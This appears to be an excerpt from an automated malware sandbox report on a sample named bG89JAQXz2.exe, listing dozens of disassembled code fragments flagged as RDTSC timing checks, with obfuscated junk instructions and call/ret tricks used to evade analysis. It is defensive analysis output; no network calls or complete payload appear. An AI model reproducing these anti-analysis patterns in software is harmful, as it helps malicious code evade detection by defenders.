Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F09E9F second address: F09EB8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7BE1432925h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F0A297 second address: F0A29F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F0A41D second address: F0A432 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7BE143291Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F0A58C second address: F0A592 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F0A840 second address: F0A848 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F0A848 second address: F0A84E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F0A84E second address: F0A852 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F0A852 second address: F0A856 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F0A856 second address: F0A86B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F7BE1432916h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F0A86B second address: F0A88B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F7BE163C2C6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F0A88B second address: F0A88F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F0A88F second address: F0A8AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a pop eax 0x0000000b jng 00007F7BE163C2B6h 0x00000011 jmp 00007F7BE163C2BDh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F0AB20 second address: F0AB2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F7BE1432916h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F0B38B second address: F0B3A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F7BE163C2B6h 0x0000000a jmp 00007F7BE163C2BDh 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F0B3A6 second address: F0B3AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F0B3AC second address: F0B3B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F0B7DF second address: F0B7FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F7BE1432927h 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F10CF4 second address: F10D0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7BE163C2C5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F0FD2E second address: F0FD50 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F7BE1432918h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007F7BE143291Fh 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F0FD50 second address: F0FD56 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F0FD56 second address: F0FD5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F10F01 second address: F10F05 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F10F05 second address: F10F0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: EE18B8 second address: EE18BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: EE18BD second address: EE18C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 je 00007F7BE1432916h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: EE18C9 second address: EE18D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F7BE163C2BCh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F17FDA second address: F17FE4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F7BE1432916h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F1808D second address: F18109 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 add dword ptr [esp], 777899A2h 0x0000000d push 00000000h 0x0000000f push ebp 0x00000010 call 00007F7BE163C2B8h 0x00000015 pop ebp 0x00000016 mov dword ptr [esp+04h], ebp 0x0000001a add dword ptr [esp+04h], 0000001Dh 0x00000022 inc ebp 0x00000023 push ebp 0x00000024 ret 0x00000025 pop ebp 0x00000026 ret 0x00000027 call 00007F7BE163C2C8h 0x0000002c mov esi, 761E89A0h 0x00000031 pop edi 0x00000032 sub esi, 5F868572h 0x00000038 call 00007F7BE163C2B9h 0x0000003d jmp 00007F7BE163C2BFh 0x00000042 push eax 0x00000043 push ebx 0x00000044 push eax 0x00000045 push edx 0x00000046 jmp 00007F7BE163C2BAh 0x0000004b rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F18626 second address: F1862A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F1862A second address: F18630 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F1888C second address: F18892 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F18892 second address: F18896 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F18896 second address: F1889A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F18CE2 second address: F18CE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F19803 second address: F19809 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F1A1C7 second address: F1A1DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F7BE163C2BAh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F1A0C6 second address: F1A0CB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F1A1DB second address: F1A249 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7BE163C2BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a nop 0x0000000b add esi, dword ptr [ebp+122D19DCh] 0x00000011 jnl 00007F7BE163C2B9h 0x00000017 push 00000000h 0x00000019 mov si, 163Dh 0x0000001d push 00000000h 0x0000001f push 00000000h 0x00000021 push ecx 0x00000022 call 00007F7BE163C2B8h 0x00000027 pop ecx 0x00000028 mov dword ptr [esp+04h], ecx 0x0000002c add dword ptr [esp+04h], 0000001Bh 0x00000034 inc ecx 0x00000035 push ecx 0x00000036 ret 0x00000037 pop ecx 0x00000038 ret 0x00000039 call 00007F7BE163C2C6h 0x0000003e add dword ptr [ebp+122D1D92h], ebx 0x00000044 pop esi 0x00000045 xchg eax, ebx 0x00000046 push eax 0x00000047 push eax 0x00000048 push edx 0x00000049 pushad 0x0000004a popad 0x0000004b rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F1A249 second address: F1A26A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7BE143291Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c pushad 0x0000000d jno 00007F7BE1432916h 0x00000013 push esi 0x00000014 pop esi 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 push edx 0x00000019 pop edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: EE3318 second address: EE3327 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F7BE163C2B6h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F1ABD7 second address: F1ABF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F7BE1432916h 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d pushad 0x0000000e jmp 00007F7BE143291Dh 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F1C9FC second address: F1CA01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F1CA01 second address: F1CA06 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F1CA06 second address: F1CA22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007F7BE163C2BFh 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F1CA22 second address: F1CA26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F1CA26 second address: F1CA2A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F1CA2A second address: F1CA73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 mov di, 00F0h 0x0000000c push 00000000h 0x0000000e push 00000000h 0x00000010 push edx 0x00000011 call 00007F7BE1432918h 0x00000016 pop edx 0x00000017 mov dword ptr [esp+04h], edx 0x0000001b add dword ptr [esp+04h], 00000016h 0x00000023 inc edx 0x00000024 push edx 0x00000025 ret 0x00000026 pop edx 0x00000027 ret 0x00000028 add edi, dword ptr [ebp+122D2BBDh] 0x0000002e push 00000000h 0x00000030 mov dword ptr [ebp+12450511h], ecx 0x00000036 mov esi, 3C4284D2h 0x0000003b xchg eax, ebx 0x0000003c jbe 00007F7BE143291Eh 0x00000042 push ebx 0x00000043 push eax 0x00000044 push edx 0x00000045 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F1CA73 second address: F1CA82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 jns 00007F7BE163C2B6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F1CA82 second address: F1CA90 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007F7BE143291Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F1D509 second address: F1D50F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F1D30A second address: F1D30F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F1D50F second address: F1D5B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 nop 0x00000007 mov edi, dword ptr [ebp+122D2C1Dh] 0x0000000d push 00000000h 0x0000000f push 00000000h 0x00000011 push edx 0x00000012 call 00007F7BE163C2B8h 0x00000017 pop edx 0x00000018 mov dword ptr [esp+04h], edx 0x0000001c add dword ptr [esp+04h], 0000001Dh 0x00000024 inc edx 0x00000025 push edx 0x00000026 ret 0x00000027 pop edx 0x00000028 ret 0x00000029 pushad 0x0000002a mov dword ptr [ebp+122D26D6h], eax 0x00000030 push ebx 0x00000031 xor edi, dword ptr [ebp+122D2C65h] 0x00000037 pop ebx 0x00000038 popad 0x00000039 jo 00007F7BE163C2BCh 0x0000003f adc esi, 3B2BDFFDh 0x00000045 push 00000000h 0x00000047 push 00000000h 0x00000049 push esi 0x0000004a call 00007F7BE163C2B8h 0x0000004f pop esi 0x00000050 mov dword ptr [esp+04h], esi 0x00000054 add dword ptr [esp+04h], 0000001Ch 0x0000005c inc esi 0x0000005d push esi 0x0000005e ret 0x0000005f pop esi 0x00000060 ret 0x00000061 jne 00007F7BE163C2C2h 0x00000067 xchg eax, ebx 0x00000068 jmp 00007F7BE163C2C9h 0x0000006d push eax 0x0000006e pushad 0x0000006f pushad 0x00000070 push eax 0x00000071 push edx 0x00000072 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F1D30F second address: F1D32F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F7BE1432916h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F7BE1432920h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F1E148 second address: F1E14E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F1DEAE second address: F1DEB4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F1E14E second address: F1E152 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F1E152 second address: F1E17F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7BE1432928h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c je 00007F7BE1432924h 0x00000012 push eax 0x00000013 push edx 0x00000014 jo 00007F7BE1432916h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F1EBEB second address: F1EBEF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F1EBEF second address: F1EBF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F1E990 second address: F1E996 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F1E996 second address: F1E99A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F1FFB1 second address: F1FFCC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7BE163C2C7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F248E6 second address: F248EB instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F2084C second address: F20850 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F26E49 second address: F26EC8 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F7BE1432916h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push eax 0x00000011 call 00007F7BE1432918h 0x00000016 pop eax 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b add dword ptr [esp+04h], 0000001Ah 0x00000023 inc eax 0x00000024 push eax 0x00000025 ret 0x00000026 pop eax 0x00000027 ret 0x00000028 jmp 00007F7BE1432922h 0x0000002d mov edi, dword ptr [ebp+122D2A71h] 0x00000033 push 00000000h 0x00000035 mov dword ptr [ebp+12456CE0h], esi 0x0000003b push 00000000h 0x0000003d push 00000000h 0x0000003f push edi 0x00000040 call 00007F7BE1432918h 0x00000045 pop edi 0x00000046 mov dword ptr [esp+04h], edi 0x0000004a add dword ptr [esp+04h], 0000001Ah 0x00000052 inc edi 0x00000053 push edi 0x00000054 ret 0x00000055 pop edi 0x00000056 ret 0x00000057 mov ebx, dword ptr [ebp+122D29DDh] 0x0000005d xchg eax, esi 0x0000005e pushad 0x0000005f push ebx 0x00000060 push eax 0x00000061 push edx 0x00000062 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F20850 second address: F20859 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F26EC8 second address: F26EE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007F7BE143291Fh 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F25EEF second address: F25F21 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F7BE163C2CCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F7BE163C2BEh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F25F21 second address: F25F25 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F290E2 second address: F290E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F2AE2C second address: F2AE30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F2AE30 second address: F2AE3A instructions: 0x00000000 rdtsc 0x00000002 jc 00007F7BE163C2B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F29FE7 second address: F2A085 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7BE143291Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a ja 00007F7BE1432916h 0x00000010 pop ebx 0x00000011 popad 0x00000012 push eax 0x00000013 jmp 00007F7BE143291Ch 0x00000018 nop 0x00000019 mov dword ptr [ebp+12456C4Ah], eax 0x0000001f push dword ptr fs:[00000000h] 0x00000026 add edi, 07E5CF64h 0x0000002c mov dword ptr [ebp+12450511h], ecx 0x00000032 mov dword ptr fs:[00000000h], esp 0x00000039 push 00000000h 0x0000003b push edi 0x0000003c call 00007F7BE1432918h 0x00000041 pop edi 0x00000042 mov dword ptr [esp+04h], edi 0x00000046 add dword ptr [esp+04h], 00000018h 0x0000004e inc edi 0x0000004f push edi 0x00000050 ret 0x00000051 pop edi 0x00000052 ret 0x00000053 mov edi, 29C752D3h 0x00000058 mov eax, dword ptr [ebp+122D0EA5h] 0x0000005e or ebx, 09F6B97Dh 0x00000064 push FFFFFFFFh 0x00000066 xor ebx, dword ptr [ebp+122D2C6Dh] 0x0000006c sub edi, dword ptr [ebp+122D2494h] 0x00000072 nop 0x00000073 push esi 0x00000074 jc 00007F7BE1432918h 0x0000007a pushad 0x0000007b popad 0x0000007c pop esi 0x0000007d push eax 0x0000007e jbe 00007F7BE1432924h 0x00000084 push eax 0x00000085 push edx 0x00000086 push eax 0x00000087 push edx 0x00000088 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F2A085 second address: F2A089 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F2B00E second address: F2B01B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F2BFDB second address: F2BFF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F7BE163C2C1h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F2BFF5 second address: F2BFFA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F2C105 second address: F2C10E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F2DE94 second address: F2DEB7 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F7BE1432926h 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F2DEB7 second address: F2DEBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
